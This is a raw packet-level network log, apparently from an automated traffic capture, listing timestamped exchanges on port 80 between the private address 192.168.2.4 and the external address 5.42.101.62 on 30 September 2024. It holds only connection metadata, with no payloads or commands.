Sep 30, 2024 12:22:28.479749918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479782104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479800940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479810953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479825974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479842901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479859114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479870081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479882002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479897022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479897976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479914904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479921103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479933977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479945898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479964972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479981899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480051041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480074883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480088949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480103970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480118036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480120897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480137110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480144978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480153084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480163097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480171919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480186939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480214119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480256081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480272055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480285883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480313063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480328083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480343103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480355978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480359077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480370045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480374098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480391026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480397940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480407953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480423927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480434895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480462074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480668068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480684042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480699062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480715990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480726004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480740070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480745077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480755091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480768919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480771065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480787039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480787039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480796099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480804920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480813980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480818987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480835915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480846882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480846882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480854034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480865002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480886936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480902910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480940104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480954885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480969906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480984926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.480987072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.480998993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.481002092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.481015921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.481019020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.481033087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.481034040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.481055021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.481079102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.511702061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.511737108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.511750937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.511768103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.511779070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.511795998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.511812925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.511827946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.511847019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.511944056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.511945009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.511945009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.511945009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.511945009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.519778967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.519814968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.519831896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.519840002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.519849062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.519859076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.519865990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.519870043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.519891977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.519912004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.519922972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.519939899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.519967079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.519967079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.519983053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.519984007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520000935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520003080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520018101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520025015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520036936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520040035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520059109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520060062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520087004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520104885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520106077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520122051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520138979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520153999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520169020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520178080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520185947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520201921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520229101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520252943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520288944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520304918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520319939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520334005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520334005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520348072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520349979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520365000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520368099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520379066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520380974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520402908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520406008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520425081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520450115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520453930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520472050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520488977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520514965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520540953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520888090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520915031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520931959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.520940065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520957947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.520976067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521028996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521044970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521061897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521080017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521090984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521115065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521131992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521697044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521722078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521738052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521759987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521766901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521775961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521786928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521792889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521809101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521821022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521842957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521861076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521899939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521915913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521931887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521939993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521945953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521960974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521964073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521979094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.521981955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.521998882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.522006989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.522016048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.522028923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.522039890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.522058010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.522072077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.522093058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.522115946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.522135973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566497087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566546917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566562891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566590071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566606045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566625118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566653013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566665888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566679955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566698074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566701889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566715956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566718102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566732883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566742897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566747904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566760063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566765070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566776037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566792965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566809893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566819906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566837072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566874981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566890955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566905022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566920042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566936016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.566943884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566967010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.566997051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567013025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567028999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567054033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567054033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567069054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567091942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567140102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567157030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567173958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567189932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567197084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567208052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567224979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567241907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567270994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567286015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567305088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567326069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567332029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567348003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567348957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567364931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567380905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567404985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567408085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567415953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567421913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567437887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567437887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567459106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567473888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567662001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567677975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567693949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567703009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567709923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567718983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567725897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567735910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567743063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567749977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567759037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567765951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567779064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567784071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567797899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567799091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567815065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567816973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567832947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567847967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567909002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567924976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567939997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567955017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567960978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567970991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.567986012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.567986965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.568001032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.568001986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.568023920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.568031073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.568039894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.568065882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.568082094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.569824934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.599118948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.599155903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.599173069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.599189997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.599190950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.599208117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.599215031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.599224091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.599231005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.599241972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.599258900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.599277020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.606699944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606718063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606739998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606756926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606767893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.606794119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.606822968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606838942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606854916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606868982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606875896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.606885910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606890917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.606904030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606914043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.606929064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606934071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.606944084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606946945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.606959105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.606967926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.606983900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.606996059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.607043982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607059956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607074976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.607076883 CEST	52534	80	192.168.2.4	5.42.101.62
